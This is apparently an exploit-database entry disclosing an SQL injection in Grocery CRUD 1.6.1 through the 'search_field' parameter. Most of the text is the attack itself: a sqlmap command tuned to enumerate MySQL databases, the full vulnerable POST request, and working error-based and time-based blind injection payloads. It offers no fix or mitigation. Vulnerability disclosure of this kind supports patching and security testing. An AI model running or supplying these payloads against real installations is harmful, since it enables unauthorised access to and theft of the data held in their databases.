Grocery Crud 1.6.1 SQL Injection

`# Exploit Title: Grocery crud 1.6.1 - 'search_field' SQL Injection  
# Google Dork: n/a  
# Date: 2018-11-05  
# Exploit Author: Loading Kura Kura   
# Vendor Homepage: https://www.grocerycrud.com/  
# Software Link: https://www.grocerycrud.com/downloads  
# Version: 1.6.1  
# Tested on: Win10/Kali Linux  
# CVE :   
  
# 1. Proof of Concept :  
# save request to file, example request.txt  
  
sqlmap -r grocery.txt --level=3 --risk=2 --dbs --dbms=mysql --fresh-queries -p search_field  
  
Request  
========================  
POST /grocerycrud/index.php/examples/customers_management/ajax_list_info HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/grocerycrud/index.php/examples/customers_management  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 91  
Connection: close  
  
search_text=dd&search_field=%5c%27city&per_page=10&order_by%5B0%5D=&order_by%5B1%5D=&page=1  
  
========================  
  
vuln on parameter "search_field"  
================================  
Parameter: search_field (POST)  
Type: error-based  
Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)  
Payload: search_text=dd&search_field=-7154 OR 1 GROUP BY CONCAT(0x7178707a71,(SELECT (CASE WHEN (3651=3651) THEN 1 ELSE 0 END)),0x716b6a6271,FLOOR(RAND(0)*2)) HAVING MIN(0)#&per_page=10&order_by[0]=&order_by[1]=&page=1  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 time-based blind - Parameter replace  
Payload: search_text=dd&search_field=(CASE WHEN (2922=2922) THEN SLEEP(5) ELSE 2922 END)&per_page=10&order_by[0]=&order_by[1]=&page=1  
  
================================  
  
bug hunter....  
  
`